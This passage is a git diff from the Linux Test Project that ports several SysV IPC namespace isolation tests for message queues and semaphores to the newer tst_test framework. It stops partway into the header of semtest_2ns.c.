index dbf311d..056b5d0 100644
--- a/testcases/kernel/containers/sysvipc/mesgq_nstest.c
+++ b/testcases/kernel/containers/sysvipc/mesgq_nstest.c
@@ -1,175 +1,121 @@
-/* *************************************************************************
-* Copyright (c) International Business Machines Corp., 2009
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-* Author: Veerendra C <vechandr@in.ibm.com>
-*
-* In Parent Process , create mesgq with key 154326L
-* Now create container by passing 1 of the flag values..
-*	Flag = clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC)
-* In cloned process, try to access the created mesgq
-* Test PASS: If the mesgq is readable when flag is None.
-* Test FAIL: If the mesgq is readable when flag is Unshare or Clone.
-***************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines Corp., 2009
+ *				Veerendra C <vechandr@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
 
-#define _GNU_SOURCE 1
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/ipc.h>
+/*\
+ * [Description]
+ *
+ * Test SysV IPC message passing through different namespaces.
+ *
+ * [Algorithm]
+ *
+ * In parent process create a new mesgq with a specific key.
+ * In cloned process try to access the created mesgq.
+ *
+ * Test will PASS if the mesgq is readable when flag is None.
+ * Test will FAIL if the mesgq is readable when flag is Unshare or Clone or
+ * the message received is wrong.
+ */
+
+#define _GNU_SOURCE
+
+#include <sys/wait.h>
 #include <sys/msg.h>
-#include <libclone.h>
-#include "test.h"
-#include "ipcns_helper.h"
+#include <sys/types.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
 
-#define KEY_VAL		154326L
-#define UNSHARESTR	"unshare"
-#define CLONESTR	"clone"
-#define NONESTR		"none"
+#define KEY_VAL 154326L
+#define MSG_TYPE 5
+#define MSG_TEXT "My message!"
 
-char *TCID = "mesgq_nstest";
-int TST_TOTAL = 1;
-int p1[2];
-int p2[2];
+static char *str_op;
+static int use_clone;
+static int ipc_id = -1;
+
 struct msg_buf {
-	long int mtype;		/* type of received/sent message */
-	char mtext[80];		/* text of the message */
-} msg;
+	long mtype;
+	char mtext[80];
+};
 
-void mesgq_read(int id)
+static int check_mesgq(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	int READMAX = 80;
-	int n;
-	/* read msg type 5 on the Q; msgtype, flags are last 2 params.. */
+	int id, n;
+	struct msg_buf msg = {};
 
-	n = msgrcv(id, &msg, READMAX, 5, 0);
-	if (n == -1)
-		perror("msgrcv"), tst_exit();
+	id = msgget(KEY_VAL, 0);
 
-	tst_resm(TINFO, "Mesg read of %d bytes; Type %ld: Msg: %.*s",
-		 n, msg.mtype, n, msg.mtext);
+	if (id < 0) {
+		if (use_clone == T_NONE)
+			tst_res(TFAIL, "Plain cloned process didn't find mesgq");
+		else
+			tst_res(TPASS, "%s: container didn't find mesgq", str_op);
+
+		return 0;
+	}
+
+	if (use_clone == T_NONE) {
+		tst_res(TPASS, "Plain cloned process found mesgq inside container");
+
+		n = SAFE_MSGRCV(id, &msg, sizeof(msg.mtext), MSG_TYPE, 0);
+
+		tst_res(TINFO, "Mesg read of %d bytes, Type %ld, Msg: %s", n, msg.mtype, msg.mtext);
+
+		if (strcmp(msg.mtext, MSG_TEXT))
+			tst_res(TFAIL, "Received the wrong text message");
+
+		return 0;
+	}
+
+	tst_res(TFAIL, "%s: container init process found mesgq", str_op);
+	return 0;
 }
 
-int check_mesgq(void *vtest)
+static void run(void)
 {
-	char buf[3];
-	int id;
+	struct msg_buf msg = {
+		.mtype = MSG_TYPE,
+		.mtext = MSG_TEXT,
+	};
 
-	(void) vtest;
+	if (use_clone == T_NONE)
+		SAFE_MSGSND(ipc_id, &msg, strlen(msg.mtext), 0);
 
-	close(p1[1]);
-	close(p2[0]);
+	tst_res(TINFO, "mesgq namespaces test: %s", str_op);
 
-	read(p1[0], buf, 3);
-	id = msgget(KEY_VAL, 0);
-	if (id == -1)
-		write(p2[1], "notfnd", 7);
-	else {
-		write(p2[1], "exists", 7);
-		mesgq_read(id);
-	}
-	tst_exit();
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_mesgq, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	check_newipc();
+	use_clone = get_clone_unshare_enum(str_op);
+
+	if (use_clone != T_NONE)
+		check_newipc();
+
+	ipc_id = SAFE_MSGGET(KEY_VAL, IPC_CREAT | IPC_EXCL | 0600);
 }
 
-int main(int argc, char *argv[])
+static void cleanup(void)
 {
-	int ret, use_clone = T_NONE, id, n;
-	char *tsttype = NONESTR;
-	char buf[7];
-
-	setup();
-
-	if (argc != 2) {
-		tst_resm(TFAIL, "Usage: %s <clone|unshare|none>", argv[0]);
-		tst_brkm(TFAIL, NULL, " where clone, unshare, or fork specifies"
-			 " unshare method.");
+	if (ipc_id != -1) {
+		tst_res(TINFO, "Destroying message queue");
+		SAFE_MSGCTL(ipc_id, IPC_RMID, NULL);
 	}
-
-	/* Using PIPE's to sync between container and Parent */
-	if (pipe(p1) == -1) {
-		perror("pipe");
-		exit(EXIT_FAILURE);
-	}
-	if (pipe(p2) == -1) {
-		perror("pipe");
-		exit(EXIT_FAILURE);
-	}
-
-	tsttype = NONESTR;
-
-	if (strcmp(argv[1], "clone") == 0) {
-		use_clone = T_CLONE;
-		tsttype = CLONESTR;
-	} else if (strcmp(argv[1], "unshare") == 0) {
-		use_clone = T_UNSHARE;
-		tsttype = UNSHARESTR;
-	}
-
-	id = msgget(KEY_VAL, IPC_CREAT | IPC_EXCL | 0600);
-	if (id == -1) {
-		perror("msgget");
-		/* Retry without attempting to create the MQ */
-		id = msgget(KEY_VAL, 0);
-		if (id == -1)
-			perror("msgget failure"), exit(1);
-	}
-
-	msg.mtype = 5;
-	strcpy(msg.mtext, "Message of type 5!");
-	n = msgsnd(id, &msg, strlen(msg.mtext), 0);
-	if (n == -1)
-		perror("msgsnd"), tst_exit();
-
-	tst_resm(TINFO, "mesgq namespaces test : %s", tsttype);
-	/* fire off the test */
-	ret = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_mesgq, NULL);
-	if (ret < 0) {
-		tst_brkm(TFAIL, NULL, "%s failed", tsttype);
-	}
-
-	close(p1[0]);
-	close(p2[1]);
-	write(p1[1], "go", 3);
-
-	read(p2[0], buf, 7);
-	if (strcmp(buf, "exists") == 0) {
-		if (use_clone == T_NONE)
-			tst_resm(TPASS, "Plain cloned process found mesgq "
-				 "inside container");
-		else
-			tst_resm(TFAIL,
-				 "%s: Container init process found mesgq",
-				 tsttype);
-	} else {
-		if (use_clone == T_NONE)
-			tst_resm(TFAIL,
-				 "Plain cloned process didn't find mesgq");
-		else
-			tst_resm(TPASS, "%s: Container didn't find mesgq",
-				 tsttype);
-	}
-
-	/* Delete the mesgQ */
-	id = msgget(KEY_VAL, 0);
-	msgctl(id, IPC_RMID, NULL);
-
-	tst_exit();
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.forks_child = 1,
+	.options = (struct tst_option[]) {
+		{ "m:", &str_op, "Test execution mode <clone|unshare|none>" },
+		{},
+	},
+};
diff --git a/testcases/kernel/containers/sysvipc/msg_comm.c b/testcases/kernel/containers/sysvipc/msg_comm.c
index 0da3289..238863d 100644
--- a/testcases/kernel/containers/sysvipc/msg_comm.c
+++ b/testcases/kernel/containers/sysvipc/msg_comm.c
@@ -1,20 +1,16 @@
-/* Copyright (c) 2014 Red Hat, Inc.
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
+ * Test SysV IPC message passing through different processes.
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
+ * [Algorithm]
  *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: msg_comm.c
- *
- * Description:
  * 1. Clones two child processes with CLONE_NEWIPC flag, each child
  *    gets System V message queue (msg) with the _identical_ key.
  * 2. Child1 appends a message with identifier #1 to the message queue.
@@ -27,152 +23,86 @@
  */
 
 #define _GNU_SOURCE
-#include <sys/ipc.h>
+
+#include <sys/wait.h>
 #include <sys/msg.h>
 #include <sys/types.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include <errno.h>
-#include "ipcns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
 
 #define TESTKEY 124426L
-#define MSGSIZE 50
-char *TCID	= "msg_comm";
-int TST_TOTAL	= 1;
 
 struct sysv_msg {
 	long mtype;
-	char mtext[MSGSIZE];
+	char mtext[1];
 };
 
-static void cleanup(void)
+static int chld1_msg(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	tst_rmdir();
+	int id;
+	struct sysv_msg m = {
+		.mtype = 1,
+		.mtext = "A",
+	};
+	struct sysv_msg rec;
+
+	id = SAFE_MSGGET(TESTKEY, IPC_CREAT | 0600);
+
+	SAFE_MSGSND(id, &m, sizeof(m.mtext), 0);
+
+	TST_CHECKPOINT_WAIT(0);
+
+	TEST(msgrcv(id, &rec, sizeof(rec.mtext), 2, IPC_NOWAIT));
+	if (TST_RET < 0 && TST_ERR != ENOMSG)
+		tst_brk(TBROK | TERRNO, "msgrcv error");
+
+	/* if child1 message queue has changed (by child2) report fail */
+	if (TST_RET > 0)
+		tst_res(TFAIL, "messages leak between namespacess");
+	else
+		tst_res(TPASS, "messages does not leak between namespaces");
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_MSGCTL(id, IPC_RMID, NULL);
+
+	return 0;
+}
+
+static int chld2_msg(LTP_ATTRIBUTE_UNUSED void *arg)
+{
+	int id;
+	struct sysv_msg m = {
+		.mtype = 2,
+		.mtext = "B",
+	};
+
+	id = SAFE_MSGGET(TESTKEY, IPC_CREAT | 0600);
+
+	SAFE_MSGSND(id, &m, sizeof(m.mtext), 0);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_MSGCTL(id, IPC_RMID, NULL);
+
+	return 0;
+}
+
+static void run(void)
+{
+	clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_msg, NULL);
+	clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_msg, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
 	check_newipc();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(tst_rmdir);
 }
 
-int chld1_msg(void *arg)
-{
-	int id, n, rval = 0;
-	struct sysv_msg m;
-	struct sysv_msg rec;
-
-	id = msgget(TESTKEY, IPC_CREAT | 0600);
-	if (id == -1) {
-		perror("msgget");
-		return 2;
-	}
-
-	m.mtype = 1;
-	m.mtext[0] = 'A';
-	if (msgsnd(id, &m, sizeof(struct sysv_msg) - sizeof(long), 0) == -1) {
-		perror("msgsnd");
-		msgctl(id, IPC_RMID, NULL);
-		return 2;
-	}
-
-	/* wait for child2 to write into the message queue */
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-
-	/* if child1 message queue has changed (by child2) report fail */
-	n = msgrcv(id, &rec, sizeof(struct sysv_msg) - sizeof(long),
-		   2, IPC_NOWAIT);
-	if (n == -1 && errno != ENOMSG) {
-		perror("msgrcv");
-		msgctl(id, IPC_RMID, NULL);
-		return 2;
-	}
-	/* if mtype #2 was found in the message queue, it is fail */
-	if (n > 0) {
-		rval = 1;
-	}
-
-	/* tell child2 to continue */
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-
-	msgctl(id, IPC_RMID, NULL);
-	return rval;
-}
-
-int chld2_msg(void *arg)
-{
-	int id;
-	struct sysv_msg m;
-
-	id = msgget(TESTKEY, IPC_CREAT | 0600);
-	if (id == -1) {
-		perror("msgget");
-		return 2;
-	}
-
-	m.mtype = 2;
-	m.mtext[0] = 'B';
-	if (msgsnd(id, &m, sizeof(struct sysv_msg) - sizeof(long), 0) == -1) {
-		perror("msgsnd");
-		msgctl(id, IPC_RMID, NULL);
-		return 2;
-	}
-
-	/* tell child1 to continue and wait for it */
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	msgctl(id, IPC_RMID, NULL);
-	return 0;
-}
-
-static void test(void)
-{
-	int status, ret = 0;
-
-	ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_msg, NULL);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_msg, NULL);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-
-	while (wait(&status) > 0) {
-		if (WIFEXITED(status) && WEXITSTATUS(status) == 1)
-			ret = 1;
-		if (WIFEXITED(status) && WEXITSTATUS(status) == 2)
-			tst_brkm(TBROK | TERRNO, cleanup, "error in child");
-		if (WIFSIGNALED(status)) {
-			tst_resm(TFAIL, "child was killed with signal %s",
-					tst_strsig(WTERMSIG(status)));
-			return;
-		}
-	}
-
-	if (ret)
-		tst_resm(TFAIL, "SysV msg: communication with identical keys"
-				" between namespaces");
-	else
-		tst_resm(TPASS, "SysV msg: communication with identical keys"
-				" between namespaces");
-}
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
-
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/sysvipc/sem_comm.c b/testcases/kernel/containers/sysvipc/sem_comm.c
index a2c354a..3323ec0 100644
--- a/testcases/kernel/containers/sysvipc/sem_comm.c
+++ b/testcases/kernel/containers/sysvipc/sem_comm.c
@@ -1,20 +1,16 @@
-/* Copyright (c) 2014 Red Hat, Inc.
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
+ * Test SysV IPC semaphore usage between cloned processes.
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
+ * [Algorithm]
  *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: sem_comm.c
- *
- * Description:
  * 1. Clones two child processes with CLONE_NEWIPC flag, each child
  *    creates System V semaphore (sem) with the _identical_ key.
  * 2. Child1 locks the semaphore.
@@ -26,166 +22,95 @@
  */
 
 #define _GNU_SOURCE
-#include <sys/ipc.h>
-#include <sys/types.h>
+
 #include <sys/wait.h>
-#include <stdio.h>
-#include <errno.h>
-#include "ipcns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include <sys/msg.h>
+#include <sys/types.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
 #include "lapi/sem.h"
+#include "common.h"
 
 #define TESTKEY 124426L
-char *TCID	= "sem_comm";
-int TST_TOTAL	= 1;
 
-static void cleanup(void)
+static int chld1_sem(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	tst_rmdir();
+	int id;
+	struct sembuf sm = {
+		.sem_num = 0,
+		.sem_op = -1,
+		.sem_flg = IPC_NOWAIT,
+	};
+	union semun su = {
+		.val = 1,
+	};
+
+	id = SAFE_SEMGET(TESTKEY, 1, IPC_CREAT);
+
+	SAFE_SEMCTL(id, 0, SETVAL, su);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_SEMOP(id, &sm, 1);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_SEMCTL(id, 0, IPC_RMID);
+
+	return 0;
+}
+
+static int chld2_sem(LTP_ATTRIBUTE_UNUSED void *arg)
+{
+	int id;
+	struct sembuf sm = {
+		.sem_num = 0,
+		.sem_op = -1,
+		.sem_flg = IPC_NOWAIT,
+	};
+	union semun su = {
+		.val = 1,
+	};
+
+	TST_CHECKPOINT_WAIT(0);
+
+	id = SAFE_SEMGET(TESTKEY, 1, IPC_CREAT);
+
+	SAFE_SEMCTL(id, 0, SETVAL, su);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	TEST(semop(id, &sm, 1));
+	if (TST_RET < 0) {
+		if (TST_ERR != EAGAIN)
+			tst_brk(TBROK | TERRNO, "semop error");
+
+		tst_res(TFAIL, "semaphore decremented from different namespace");
+	} else {
+		tst_res(TPASS, "semaphore has not been decremented");
+	}
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_SEMCTL(id, 0, IPC_RMID);
+
+	return 0;
+}
+
+static void run(void)
+{
+	clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_sem, NULL);
+	clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_sem, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
 	check_newipc();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(tst_rmdir);
 }
 
-int chld1_sem(void *arg)
-{
-	int id;
-	union semun su;
-	struct sembuf sm;
-
-	id = semget(TESTKEY, 1, IPC_CREAT);
-	if (id == -1) {
-		perror("semget");
-		return 2;
-	}
-
-	su.val = 1;
-	if (semctl(id, 0, SETVAL, su) == -1) {
-		perror("semctl");
-		semctl(id, 0, IPC_RMID);
-		return 2;
-	}
-
-	/* tell child2 to continue and wait for it to create the semaphore */
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	sm.sem_num = 0;
-	sm.sem_op = -1;
-	sm.sem_flg = IPC_NOWAIT;
-	if (semop(id, &sm, 1) == -1) {
-		perror("semop");
-		semctl(id, 0, IPC_RMID);
-		return 2;
-	}
-
-	/* tell child2 to continue and wait for it to lock the semaphore */
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	sm.sem_op = 1;
-	semop(id, &sm, 1);
-
-	semctl(id, 0, IPC_RMID);
-	return 0;
-}
-
-int chld2_sem(void *arg)
-{
-	int id, rval = 0;
-	struct sembuf sm;
-	union semun su;
-
-	/* wait for child1 to create the semaphore */
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-
-	id = semget(TESTKEY, 1, IPC_CREAT);
-	if (id == -1) {
-		perror("semget");
-		return 2;
-	}
-
-	su.val = 1;
-	if (semctl(id, 0, SETVAL, su) == -1) {
-		perror("semctl");
-		semctl(id, 0, IPC_RMID);
-		return 2;
-	}
-
-	/* tell child1 to continue and wait for it to lock the semaphore */
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	sm.sem_num = 0;
-	sm.sem_op = -1;
-	sm.sem_flg = IPC_NOWAIT;
-	if (semop(id, &sm, 1) == -1) {
-		if (errno == EAGAIN) {
-			rval = 1;
-		} else {
-			perror("semop");
-			semctl(id, 0, IPC_RMID);
-			return 2;
-		}
-	}
-
-	/* tell child1 to continue */
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-
-	sm.sem_op = 1;
-	semop(id, &sm, 1);
-
-	semctl(id, 0, IPC_RMID);
-	return rval;
-}
-
-static void test(void)
-{
-	int status, ret = 0;
-
-	ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_sem, NULL);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_sem, NULL);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-
-	while (wait(&status) > 0) {
-		if (WIFEXITED(status) && WEXITSTATUS(status) == 1)
-			ret = 1;
-		if (WIFEXITED(status) && WEXITSTATUS(status) == 2)
-			tst_brkm(TBROK | TERRNO, cleanup, "error in child");
-		if (WIFSIGNALED(status)) {
-			tst_resm(TFAIL, "child was killed with signal %s",
-					tst_strsig(WTERMSIG(status)));
-			return;
-		}
-	}
-
-	if (ret)
-		tst_resm(TFAIL, "SysV sem: communication with identical keys"
-				" between namespaces");
-	else
-		tst_resm(TPASS, "SysV sem: communication with identical keys"
-				" between namespaces");
-}
-
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
-
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/sysvipc/sem_nstest.c b/testcases/kernel/containers/sysvipc/sem_nstest.c
index 72e04fe..ac1dae4 100644
--- a/testcases/kernel/containers/sysvipc/sem_nstest.c
+++ b/testcases/kernel/containers/sysvipc/sem_nstest.c
@@ -1,158 +1,96 @@
-/* *************************************************************************
-* Copyright (c) International Business Machines Corp., 2009
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-* Author: Veerendra C <vechandr@in.ibm.com>
-*
-* In Parent Process , create semaphore with key 154326L
-* Now create container by passing 1 of the below flag values..
-*	clone(NONE), clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC)
-* In cloned process, try to access the created semaphore
-* Test PASS: If the semaphore is readable when flag is None.
-* Test FAIL: If the semaphore is readable when flag is Unshare or Clone.
-***************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) International Business Machines Corp., 2009
+ *				Veerendra C <vechandr@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
 
-#define _GNU_SOURCE 1
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/ipc.h>
+/*\
+ * [Description]
+ *
+ * Test SysV IPC semaphore usage between namespaces.
+ *
+ * [Algorithm]
+ *
+ * In parent process create a new semaphore with a specific key.
+ * In cloned process, try to access the created semaphore
+ *
+ * Test PASS if the semaphore is readable when flag is None.
+ * Test FAIL if the semaphore is readable when flag is Unshare or Clone.
+ */
+
+#define _GNU_SOURCE
+
+#include <sys/wait.h>
+#include <sys/msg.h>
+#include <sys/types.h>
 #include <sys/sem.h>
-#include <libclone.h>
-#include "test.h"
-#include "ipcns_helper.h"
+#include "tst_safe_sysv_ipc.h"
+#include "tst_test.h"
+#include "common.h"
 
-#define MY_KEY     154326L
-#define UNSHARESTR "unshare"
-#define CLONESTR   "clone"
-#define NONESTR    "none"
+#define MY_KEY 154326L
 
-char *TCID = "sem_nstest";
-int TST_TOTAL = 1;
-int p1[2];
-int p2[2];
+static char *str_op;
+static int use_clone;
+static int ipc_id = -1;
 
-int check_semaphore(void *vtest)
+static int check_semaphore(LTP_ATTRIBUTE_UNUSED void *vtest)
 {
-	char buf[3];
 	int id;
 
-	(void) vtest;
-
-	close(p1[1]);
-	close(p2[0]);
-
-	read(p1[0], buf, 3);
 	id = semget(MY_KEY, 1, 0);
-	if (id == -1)
-		write(p2[1], "notfnd", 7);
-	else {
-		write(p2[1], "exists", 7);
-		tst_resm(TINFO, "PID %d: Fetched existing semaphore..id = %d",
-			 getpid(), id);
+
+	if (id < 0) {
+		if (use_clone == T_NONE)
+			tst_res(TFAIL, "Plain cloned process didn't find semaphore");
+		else
+			tst_res(TPASS, "%s: container didn't find semaphore", str_op);
+
+		return 0;
 	}
-	tst_exit();
+
+	tst_res(TINFO, "PID %d: fetched existing semaphore..id = %d", getpid(), id);
+
+	if (use_clone == T_NONE)
+		tst_res(TPASS, "Plain cloned process found semaphore inside container");
+	else
+		tst_res(TFAIL, "%s: Container init process found semaphore", str_op);
+
+	return 0;
+}
+
+static void run(void)
+{
+	clone_unshare_test(use_clone, CLONE_NEWIPC, check_semaphore, NULL);
 }
 
 static void setup(void)
 {
-	tst_require_root();
-	check_newipc();
+	use_clone = get_clone_unshare_enum(str_op);
+
+	if (use_clone != T_NONE)
+		check_newipc();
+
+	ipc_id = SAFE_SEMGET(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
 }
 
-int main(int argc, char *argv[])
+static void cleanup(void)
 {
-	int ret, use_clone = T_NONE, id;
-	char *tsttype = NONESTR;
-	char buf[7];
-
-	setup();
-
-	if (argc != 2) {
-		tst_resm(TFAIL, "Usage: %s <clone| unshare| none>", argv[0]);
-		tst_brkm(TFAIL, NULL, " where clone, unshare, or fork specifies"
-			 " unshare method.");
+	if (ipc_id != -1) {
+		tst_res(TINFO, "Destroying semaphore");
+		SAFE_SEMCTL(ipc_id, IPC_RMID, 0);
 	}
-
-	/* Using PIPE's to sync between container and Parent */
-	if (pipe(p1) == -1) {
-		perror("pipe");
-		exit(EXIT_FAILURE);
-	}
-	if (pipe(p2) == -1) {
-		perror("pipe");
-		exit(EXIT_FAILURE);
-	}
-
-	if (strcmp(argv[1], "clone") == 0) {
-		use_clone = T_CLONE;
-		tsttype = CLONESTR;
-	} else if (strcmp(argv[1], "unshare") == 0) {
-		use_clone = T_UNSHARE;
-		tsttype = UNSHARESTR;
-	}
-
-	/* 1. Create (or fetch if existing) the binary semaphore */
-	id = semget(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
-	if (id == -1) {
-		perror("Semaphore create");
-		if (errno != EEXIST) {
-			perror("semget failure");
-			tst_brkm(TBROK, NULL, "Semaphore creation failed");
-		}
-		id = semget(MY_KEY, 1, 0);
-		if (id == -1) {
-			perror("Semaphore create");
-			tst_brkm(TBROK, NULL, "Semaphore operation failed");
-		}
-	}
-
-	tst_resm(TINFO, "Semaphore namespaces Isolation test : %s", tsttype);
-	/* fire off the test */
-	ret =
-	    do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_semaphore,
-				  NULL);
-	if (ret < 0) {
-		tst_brkm(TFAIL, NULL, "%s failed", tsttype);
-	}
-
-	close(p1[0]);
-	close(p2[1]);
-	write(p1[1], "go", 3);
-	read(p2[0], buf, 7);
-
-	if (strcmp(buf, "exists") == 0) {
-		if (use_clone == T_NONE)
-			tst_resm(TPASS, "Plain cloned process found semaphore "
-				 "inside container");
-		else
-			tst_resm(TFAIL,
-				 "%s: Container init process found semaphore",
-				 tsttype);
-	} else {
-		if (use_clone == T_NONE)
-			tst_resm(TFAIL,
-				 "Plain cloned process didn't find semaphore");
-		else
-			tst_resm(TPASS, "%s: Container didn't find semaphore",
-				 tsttype);
-	}
-
-	/* Delete the semaphore */
-	id = semget(MY_KEY, 1, 0);
-	semctl(id, IPC_RMID, 0);
-
-	tst_exit();
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.forks_child = 1,
+	.options = (struct tst_option[]) {
+		{ "m:", &str_op, "Test execution mode <clone|unshare|none>" },
+		{},
+	},
+};
diff --git a/testcases/kernel/containers/sysvipc/semtest_2ns.c b/testcases/kernel/containers/sysvipc/semtest_2ns.c
index c3483b6..edff3f5 100644
--- a/testcases/kernel/containers/sysvipc/semtest_2ns.c
+++ b/testcases/kernel/containers/sysvipc/semtest_2ns.c
@@ -1,230 +1,155 @@
-/* *************************************************************************
-* Copyright (c) International Business Machines Corp., 2009
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-* Author: Veerendra C <vechandr@in.ibm.com>
-*
-* Test Assertion:
-* This testcase verifies the semaphore isoloation in 2 diff containers.
-* It tries to create/access a semaphore created with the same KEY.
-*
-* Description:
-* Create 2 'containers' with the below flag value
